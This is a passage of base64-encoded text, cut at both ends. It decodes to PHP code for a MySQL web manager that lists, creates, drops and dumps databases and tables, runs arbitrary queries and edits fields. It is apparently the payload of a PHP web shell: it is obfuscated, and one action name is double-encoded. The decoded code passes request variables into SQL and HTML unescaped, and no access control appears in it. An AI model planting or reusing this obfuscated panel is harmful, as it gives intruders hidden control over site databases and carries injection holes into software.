WNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQ